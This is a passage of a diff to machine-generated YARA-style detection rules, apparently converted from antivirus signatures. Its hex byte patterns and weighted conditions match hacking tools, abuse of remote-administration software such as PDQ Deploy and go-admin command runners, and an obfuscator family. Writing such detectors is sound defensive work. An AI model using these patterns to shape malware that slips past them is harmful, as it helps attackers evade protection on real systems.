1)*12289+(#a_31_7 & 1)*13108+(#a_64_8 & 1)*25138+(#a_65_9 & 1)*12342+(#a_39_10 & 1)*19795+(#a_65_11 & 1)*25966+(#a_66_12 & 1)*21249+(#a_65_13 & 1)*30050+(#a_69_14 & 1)*25189+(#a_01_15 & 1)*28500) >=1 } -rule _InfrastructureShared_20198{ +rule _InfrastructureShared_21417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -255345,7 +270562,7 @@ rule _InfrastructureShared_20198{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29477+(#a_61_2 & 1)*20572+(#a_74_3 & 1)*25705+(#a_65_4 & 1)*29301+(#a_2e_5 & 1)*12594+(#a_70_6 & 1)*16732+(#a_5c_7 & 1)*25963+(#a_00_8 & 1)*-1407+(#a_7c_10 & 1)*-1664+(#a_c9_11 & 1)*258+(#a_80_12 & 1)*656+(#a_00_13 & 1)*-15874) >=14 } -rule _InfrastructureShared_20199{ +rule _InfrastructureShared_21418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 18 00 21 " @@ -255357,27 +270574,51 @@ rule _InfrastructureShared_20199{ $a_20_4 = {c9 fe c9 80 e9 1f fe c1 c1 c9 08 83 c0 02 31 cb 90 09 09 00 8a 08 90 01 01 80 f9 61 90 01 01 7c 90 00 01 00 1a 0b 8a 08 80 f9 61 7c 90 01 01 80 e9 20 90 02 01 c1 c9 08 83 e8 fe 31 cb eb 90 00 01 00 17 0b 8a 08 80 f9 61 7c 90 01 01 80 e9 20 90 02 20 83 c0 02 c1 c9 08 90 00 01 00 16 0b 8a 08 80 f9 61 7c 90 01 01 80 e9 20 90 02 20 c1 c9 08 40 40 90 00 01 00 1d 0b 8a 08 fc 80 f9 61 90 02 10 fe c9 fe c9 80 e9 1f fe c1 90 02 20 c1 c9 08 83 c0 02 90 00 01 00 1d 0b 8a 08 80 f9 61 7c 90 01 01 90 02 01 80 e9 20 90 02 20 c1 c9 08 90 02 04 83 c0 02 90 00 01 00 1e 0b 8a 08 80 f9 61 7c 90 01 01 90 02 01 80 e9 20 90 02 20 c1 c9 08 90 02 04 83 c0 01 40 90 00 01 00 26 0b c1 c9 08 83 c0 02 90 09 30 00 90 02 10 8a 08 90 01 01 80 f9 61 90 02 08 fe c9 fe c9 } //-32757 $a_80_5 = {1f } // 656 $a_00_6 = {01 00 26 0b 83 c0 02 c1 c9 08 90 09 30 00 90 02 10 8a 08 90 01 01 80 f9 61 90 02 08 fe c9 fe c9 90 02 01 80 e9 1f fe c1 90 00 01 00 1e 0b c1 c9 08 83 c0 01 40 90 09 10 00 90 02 10 8a 08 90 02 01 80 f9 61 90 02 08 80 e9 20 90 00 01 00 1d 0b c1 c9 08 83 c0 02 90 09 10 00 90 02 10 8a 08 90 02 01 80 f9 61 90 02 08 80 e9 20 90 00 01 00 1d 0b 83 c0 02 c1 c9 08 90 09 10 00 90 02 10 8a 08 90 02 01 80 f9 61 90 02 08 80 e9 20 90 00 01 00 } //-15874 - $a_64_7 = {4c 00 68 61 6d 65 2e 68 69 65 66 72 54 ff d0 00 00 78 cc 02 00 14 00 14 00 1e 00 21 23 42 4d 5f 41 54 3a 50 64 71 00 05 00 10 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 70 64 62 05 00 19 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 65 74 75 70 50 72 65 70 2e 70 64 62 05 00 0d 81 01 50 44 51 44 65 70 6c 6f 79 } //2322 - $a_62_8 = {00 14 81 01 50 44 51 44 65 70 6c 6f 79 43 6f 6e 73 6f 6c 65 2e 70 64 62 05 00 14 81 01 50 44 51 44 65 70 6c 6f 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 0d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 2e 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 43 6f 6e 73 6f 6c 65 2e 70 64 62 05 00 17 81 01 } //28718 - $a_49_9 = {76 65 6e 74 6f 72 79 4d 6f 6e 69 74 6f 72 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 63 61 6e 6e 65 72 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 1a 81 01 41 64 } //17488 - $a_41_10 = {73 65 6e 61 6c 2e 50 44 51 49 6e 76 65 6e 74 6f 72 79 2e 05 00 1d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 3a 43 6f 6e 73 6f 6c 65 43 6f 6d 6d 61 6e 64 73 2e 05 00 17 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 44 51 44 65 70 6c 6f 79 2e 05 00 14 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 72 6f 67 72 61 6d 05 00 1b 81 } //26989 - $a_51_11 = {64 65 70 6c 6f 79 2d 69 6e 76 65 6e 74 6f 72 79 5f 6d 61 73 74 65 72 05 00 15 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 4c 69 62 72 61 72 79 2e 05 00 08 81 01 50 44 51 2e 63 6f 6d 20 05 00 09 81 01 67 } //20481 - $a_49_12 = {50 44 51 05 00 08 81 01 47 65 74 49 73 50 44 51 05 00 09 81 01 50 44 51 44 65 70 6c 6f 79 05 00 0c 80 01 70 64 71 69 6e 76 65 6e 74 6f 72 79 05 00 09 81 01 50 44 51 52 75 6e 6e 65 72 05 00 0a 81 01 50 44 51 53 69 62 6c 69 6e 67 05 00 17 81 01 50 44 51 20 49 6e 76 65 6e 74 6f 72 79 20 } //29797 - $a_74_13 = {6c 6c 65 72 05 00 15 81 01 52 65 6d 6f 74 65 20 70 72 6f 63 65 73 73 20 72 75 6e 6e 65 72 05 00 15 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 72 6f 64 75 63 74 2e 05 00 12 81 01 50 44 51 5f 50 72 6f 64 75 63 74 5f 6d 61 73 74 65 72 05 00 10 81 01 52 65 6d 6f 74 65 52 75 6e 6e 65 72 2e 70 64 62 05 00 11 81 01 52 65 6d 6f 74 65 5f 52 65 70 } //28233 - $a_2e_14 = {64 62 05 00 14 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 41 73 73 65 6d 62 6c 79 00 00 78 ce 02 00 01 00 01 00 16 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 21 45 50 00 01 00 1a 03 8b 40 48 89 90 02 20 8b 65 90 01 01 8b 85 90 01 04 8b 6d 90 01 01 ff e0 90 00 01 00 16 03 8b 40 } //26977 - $a_02_15 = {20 8b 65 dc 8b 45 d4 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 90 01 04 8b 85 90 01 04 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b 65 90 01 01 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 90 01 04 8b 85 90 01 04 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 90 01 04 8b 45 90 01 01 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 40 48 89 } //-30392 - $a_8b_16 = {90 01 01 8b 45 90 01 01 8b 6d 90 01 01 ff e0 90 00 01 00 29 03 8b 49 48 8b 90 02 40 8b 75 90 01 } //656 - $a_90_17 = {04 8b 5d 90 01 01 8b 65 90 01 01 8b 45 90 01 01 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 49 48 89 90 02 40 8b 65 90 01 01 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 40 8b a5 90 01 04 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 40 8b 65 90 01 01 8b 85 90 01 04 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 4a 68 89 90 02 40 8b 65 90 01 01 8b 45 90 01 01 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 40 48 8b 90 02 40 8b 65 90 01 01 8b 85 90 01 04 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 8d 90 02 40 8b a5 90 } //-29951 - $a_45_18 = {01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 49 48 89 90 02 40 8b a5 90 01 04 8b 45 90 01 01 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 40 48 8b 90 02 40 8b a5 90 01 04 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 41 48 89 90 02 40 8b 65 90 01 01 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 8b 90 02 40 8b b5 90 01 04 8b 85 90 01 04 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 49 48 88 } //1025 - $a_8b_19 = {90 01 04 8b 85 90 01 04 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 41 48 89 90 02 40 8b a5 90 01 04 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 49 48 89 90 02 40 8b 65 90 01 01 8b } //656 - $a_04_20 = {8b } //-28539 - $a_01_21 = {ff } //-28563 - $a_8b_23 = {48 89 90 } //6656 + $a_64_7 = {4c 00 68 61 6d 65 2e 68 69 65 66 72 54 ff d0 00 00 78 ca 02 00 02 00 02 00 0f 00 21 23 48 53 54 52 3a 41 6c 70 61 63 61 53 74 72 69 6e 67 73 50 65 00 01 00 25 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 43 72 65 61 74 65 50 77 64 46 69 6c 65 01 00 2b 80 01 67 6f 2d 61 64 6d 69 } //2322 + $a_70_8 = {2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 45 78 70 6f 72 74 32 43 6c 61 73 68 01 00 26 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 47 65 74 50 61 67 65 01 00 25 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e } //12142 + $a_69_9 = {2e 4e 6f 64 65 49 70 2e 52 75 6e 43 6d 64 01 00 25 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 01 00 2a 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 53 70 65 65 64 01 00 28 80 01 67 6f 2d 61 } //24879 + $a_6e_10 = {61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 2e 47 65 74 50 61 67 65 01 00 2e 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 28 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e } //28004 + $a_69_11 = {2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 01 00 29 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 31 01 00 2a 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 49 6e 73 65 72 74 01 00 } //24879 + $a_67_12 = {2d } //-32726 - + $a_69_13 = {2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 55 70 64 61 74 65 01 00 2d 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 54 72 61 66 66 69 63 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 23 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 } //25697 + $a_2e_14 = {70 43 68 61 6e 67 65 52 65 71 01 00 2b 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 44 69 73 61 62 6c 65 00 00 78 cc 02 00 14 00 14 00 1e 00 21 23 42 4d 5f 41 54 3a 50 64 71 00 05 00 10 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 70 64 62 05 00 19 81 01 50 44 51 49 6e 76 65 } //26992 + $a_72_15 = {53 65 74 75 70 50 72 65 70 2e 70 64 62 05 00 0d 81 01 50 44 51 44 65 70 6c 6f 79 2e 70 64 62 05 00 14 81 01 50 44 51 44 65 70 6c 6f 79 43 6f 6e 73 6f 6c 65 2e 70 64 62 05 00 14 81 01 50 44 51 44 65 70 6c 6f 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 0d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 2e 05 00 17 81 01 50 44 51 49 6e 76 65 } //29806 + $a_72_16 = {43 6f 6e 73 6f 6c 65 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 4d 6f 6e 69 74 6f 72 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 63 61 6e 6e 65 72 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 1a 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 } //29806 + $a_44_17 = {49 6e 76 65 6e 74 6f 72 79 2e 05 00 1d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 3a 43 6f 6e 73 6f 6c 65 43 6f 6d 6d 61 6e 64 73 2e 05 00 17 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 44 51 44 65 70 6c 6f 79 2e 05 00 14 81 01 41 64 6d } //11884 + $a_72_18 = {65 6e 61 6c 2e 50 72 6f 67 72 61 6d 05 00 1b 81 01 50 44 51 5f 64 65 70 6c 6f 79 2d 69 6e 76 65 6e 74 6f 72 79 5f 6d 61 73 74 65 72 05 00 15 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 4c 69 62 } //28265 + $a_79_19 = {05 00 08 81 01 50 44 51 2e 63 6f 6d 20 05 00 09 81 01 67 65 74 5f 49 73 50 44 51 05 00 08 81 01 47 65 74 49 73 50 44 51 05 00 09 81 01 50 44 51 44 65 70 6c 6f 79 05 00 0c 80 01 70 64 71 69 6e 76 65 6e 74 6f 72 79 05 00 09 81 01 50 44 51 52 75 6e 6e 65 72 05 00 0a 81 01 50 44 51 53 69 62 6c 69 6e 67 05 00 17 81 01 50 44 51 20 49 6e 76 65 6e } //24946 + $a_79_20 = {49 6e 73 74 61 6c 6c 65 72 05 00 15 81 01 52 65 6d 6f 74 65 20 70 72 6f 63 65 73 73 20 72 75 6e 6e 65 72 05 00 15 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 72 6f 64 75 63 74 2e 05 00 12 81 01 50 44 51 5f 50 72 6f 64 75 63 74 5f 6d 61 73 74 65 72 05 00 10 81 01 52 65 6d 6f 74 65 52 75 6e 6e 65 72 2e 70 64 62 05 00 11 81 01 52 65 6d 6f } //28532 + $a_52_21 = {70 61 69 72 2e 70 64 62 05 00 14 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 41 73 73 65 6d 62 6c 79 00 00 78 ce 02 00 01 00 01 00 16 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 21 45 50 00 01 00 1a 03 8b 40 48 89 90 02 20 } //25972 + $a_01_22 = {01 8b 85 90 01 04 8b 6d 90 01 01 ff e0 90 00 01 00 16 03 8b 40 48 89 90 02 20 8b 65 dc 8b 45 d4 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 90 01 04 8b 85 90 01 04 8b 6d 90 01 01 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b 65 90 01 01 8b 45 90 01 01 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 90 01 04 8b 85 90 01 04 8b ad 90 01 04 ff e0 90 00 01 00 1a 03 8b 40 48 89 90 02 20 8b a5 } //25995 + $a_8b_23 = {90 01 01 8b } //400 condition: - ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*29756+(#a_fe_2 & 1)*-5760+(#a_00_3 & 1)*-6421+(#a_20_4 & 1)*-32757+(#a_80_5 & 1)*656+(#a_00_6 & 1)*-15874+(#a_64_7 & 1)*2322+(#a_62_8 & 1)*28718+(#a_49_9 & 1)*17488+(#a_41_10 & 1)*26989+(#a_51_11 & 1)*20481+(#a_49_12 & 1)*29797+(#a_74_13 & 1)*28233+(#a_2e_14 & 1)*26977+(#a_02_15 & 1)*-30392+(#a_8b_16 & 1)*656+(#a_90_17 & 1)*-29951+(#a_45_18 & 1)*1025+(#a_8b_19 & 1)*656+(#a_04_20 & 1)*-28539+(#a_01_21 & 1)*-28563+(#a_8b_23 & 1)*6656) >=1 + ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*29756+(#a_fe_2 & 1)*-5760+(#a_00_3 & 1)*-6421+(#a_20_4 & 1)*-32757+(#a_80_5 & 1)*656+(#a_00_6 & 1)*-15874+(#a_64_7 & 1)*2322+(#a_70_8 & 1)*12142+(#a_69_9 & 1)*24879+(#a_6e_10 & 1)*28004+(#a_69_11 & 1)*24879+(#a_67_12 & 1)*-32726+(#a_69_13 & 1)*25697+(#a_2e_14 & 1)*26992+(#a_72_15 & 1)*29806+(#a_72_16 & 1)*29806+(#a_44_17 & 1)*11884+(#a_72_18 & 1)*28265+(#a_79_19 & 1)*24946+(#a_79_20 & 1)*28532+(#a_52_21 & 1)*25972+(#a_01_22 & 1)*25995+(#a_8b_23 & 1)*400) >=1 } -rule _InfrastructureShared_20200{ +rule _InfrastructureShared_21419{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " + + strings : + $a_54_0 = {3a 41 6c 70 61 63 61 53 74 72 69 6e 67 73 50 65 00 01 00 25 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 43 72 65 61 74 65 50 77 64 46 69 6c 65 01 00 2b 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f } //18467 + $a_73_1 = {4e 6f 64 65 49 70 2e 45 78 70 6f 72 74 32 43 6c 61 73 68 01 00 26 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 47 65 74 50 61 67 65 01 00 25 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 52 75 6e 43 6d 64 01 } //28769 + $a_01_2 = {67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 01 00 2a 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 4e 6f 64 65 49 70 2e 55 70 64 61 74 65 53 70 65 65 64 01 00 28 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 2e 47 65 74 50 61 67 } //9472 + $a_2d_4 = {64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 72 6f 67 72 65 73 73 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 28 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 01 00 29 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f } //26369 + $a_73_5 = {50 77 64 42 72 61 6e 63 68 2e 55 70 64 61 74 65 31 01 00 2a 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 49 6e 73 65 72 74 01 00 2a 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e } //28769 + $a_61_6 = {65 01 00 2d 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 54 72 61 66 66 69 63 44 65 74 61 69 6c 2e 47 65 74 50 61 67 65 01 00 23 80 01 67 6f 2d 61 64 6d 69 6e 2f 61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 49 70 43 68 61 6e 67 65 52 65 71 01 00 2b 80 01 67 6f 2d 61 } //28757 + $a_6e_7 = {61 70 70 2f 61 64 6d 69 6e 2f 61 70 69 73 2e 53 66 69 76 65 41 75 74 68 6f 72 2e 44 69 73 61 62 6c 65 00 00 78 cc 02 00 14 00 14 00 1e 00 21 23 42 4d 5f 41 54 3a 50 64 71 00 05 00 10 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 70 64 62 05 00 19 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 65 74 75 70 50 72 65 70 } //28004 + $a_62_8 = {00 0d 81 01 50 44 51 44 65 70 6c 6f 79 2e 70 64 62 05 00 14 81 01 50 44 51 44 65 70 6c 6f 79 43 6f 6e 73 6f 6c 65 2e 70 64 62 05 00 14 81 01 50 44 51 44 65 70 6c 6f 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 0d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 2e 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f } //28718 + $a_6f_9 = {73 6f 6c 65 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 4d 6f 6e 69 74 6f 72 2e 70 64 62 05 00 17 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 53 63 61 6e 6e 65 72 2e 70 64 62 05 00 17 } //31090 + $a_44_10 = {49 6e 76 65 6e 74 6f 72 79 53 65 72 76 69 63 65 2e 70 64 62 05 00 1a 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 44 51 49 6e 76 65 6e 74 6f 72 79 2e 05 00 1d 81 01 50 44 51 49 6e 76 65 6e 74 6f 72 79 3a 43 6f 6e 73 6f 6c 65 43 6f 6d 6d } //385 + $a_73_11 = {05 00 17 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 44 51 44 65 70 6c 6f 79 2e 05 00 14 81 01 41 64 6d 69 6e 41 72 73 65 6e 61 6c 2e 50 72 6f 67 72 61 6d 05 00 1b 81 01 50 44 51 5f 64 65 70 6c 6f 79 2d 69 6e 76 65 6e 74 6f 72 79 5f 6d 61 73 74 65 72 05 00 15 81 01 41 64 6d 69 6e 41 72 73 65 6e } //28257 + $a_4c_12 = {62 72 61 72 79 2e 05 00 08 81 01 50 44 51 2e 63 6f 6d 20 05 00 09 81 01 67 65 74 5f 49 73 50 44 51 05 00 08 81 01 47 65 74 49 73 50 44 51 } //27745 + $a_81_13 = {50 44 51 44 65 70 6c 6f 79 } //5 PDQDeploy + $a_80_14 = {70 64 71 69 6e 76 65 6e 74 6f 72 79 } //pdqinventory 5 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28769+(#a_01_2 & 1)*9472+(#a_2d_4 & 1)*26369+(#a_73_5 & 1)*28769+(#a_61_6 & 1)*28757+(#a_6e_7 & 1)*28004+(#a_62_8 & 1)*28718+(#a_6f_9 & 1)*31090+(#a_44_10 & 1)*385+(#a_73_11 & 1)*28257+(#a_4c_12 & 1)*27745+(#a_81_13 & 1)*5+(#a_80_14 & 1)*5) >=2 + +} +rule _InfrastructureShared_21420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 1e 00 21 " @@ -255414,7 +270655,7 @@ rule _InfrastructureShared_20200{ ((#a_5f_0 & 1)*16931+(#a_50_1 & 1)*-32492+(#a_6c_2 & 1)*25924+(#a_01_3 & 1)*5888+(#a_6c_4 & 1)*28261+(#a_51_5 & 1)*20481+(#a_75_6 & 1)*20804+(#a_65_7 & 1)*29249+(#a_54_8 & 1)*18467+(#a_e0_9 & 1)*1025+(#a_89_11 & 1)*16523+(#a_01_12 & 1)*-21109+(#a_ad_13 & 1)*1025+(#a_46_14 & 1)*16675+(#a_00_15 & 1)*32+(#a_00_17 & 1)*114+(#a_2c_18 & 1)*108+(#a_2d_19 & 1)*2305+(#a_50_20 & 1)*18019+(#a_48_21 & 1)*26470+(#a_2d_22 & 1)*2305+(#a_6f_23 & 1)*21562+(#a_90_24 & 1)*1041+(#a_01_25 & 1)*8960+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1) >=20 } -rule _InfrastructureShared_20201{ +rule _InfrastructureShared_21421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 16 00 21 " @@ -255443,7 +270684,7 @@ rule _InfrastructureShared_20201{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*1025+(#a_89_3 & 1)*16523+(#a_01_4 & 1)*-21109+(#a_ad_5 & 1)*1025+(#a_46_6 & 1)*16675+(#a_00_7 & 1)*32+(#a_00_9 & 1)*114+(#a_2c_10 & 1)*108+(#a_2d_11 & 1)*2305+(#a_50_12 & 1)*18019+(#a_48_13 & 1)*26470+(#a_2d_14 & 1)*2305+(#a_6f_15 & 1)*21562+(#a_90_16 & 1)*1041+(#a_01_17 & 1)*8960+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1) >=1 } -rule _InfrastructureShared_20202{ +rule _InfrastructureShared_21422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -255460,7 +270701,7 @@ rule _InfrastructureShared_20202{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_3 & 1)*114+(#a_2c_4 & 1)*108+(#a_2d_5 & 1)*2305+(#a_50_6 & 1)*18019+(#a_48_7 & 1)*26470+(#a_2d_8 & 1)*2305) >=9 } -rule _InfrastructureShared_20203{ +rule _InfrastructureShared_21423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -255481,7 +270722,7 @@ rule _InfrastructureShared_20203{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1539+(#a_90_3 & 1)*2346+(#a_61_4 & 1)*29300+(#a_2d_5 & 1)*17222+(#a_00_6 & 1)*110+(#a_00_8 & 1)*53+(#a_00_10 & 1)*77+(#a_00_12 & 1)*110+(#a_39_13 & 1)*14641+(#a_61_14 & 1)*281+(#a_03_15 & 1)*1) >=16 } -rule _InfrastructureShared_20204{ +rule _InfrastructureShared_21424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -255497,7 +270738,7 @@ rule _InfrastructureShared_20204{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*17457+(#a_00_2 & 1)*14637+(#a_00_3 & 1)*54+(#a_00_4 & 1)*31277+(#a_00_5 & 1)*32+(#a_8d_6 & 1)*-29700) >=1 } -rule _InfrastructureShared_20205{ +rule _InfrastructureShared_21425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -255515,7 +270756,7 @@ rule _InfrastructureShared_20205{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_00_2 & 1)*107+(#a_41_3 & 1)*11568+(#a_00_4 & 1)*14637+(#a_61_5 & 1)*11585+(#a_01_6 & 1)*-28615+(#a_2d_7 & 1)*23085+(#a_90_8 & 1)*11617) >=7 } -rule _InfrastructureShared_20206{ +rule _InfrastructureShared_21426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -255536,7 +270777,7 @@ rule _InfrastructureShared_20206{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_6c_2 & 1)*28787+(#a_73_3 & 1)*14641+(#a_67_4 & 1)*26990+(#a_6c_5 & 1)*28783+(#a_74_6 & 1)*25965+(#a_2e_7 & 1)*25963+(#a_00_9 & 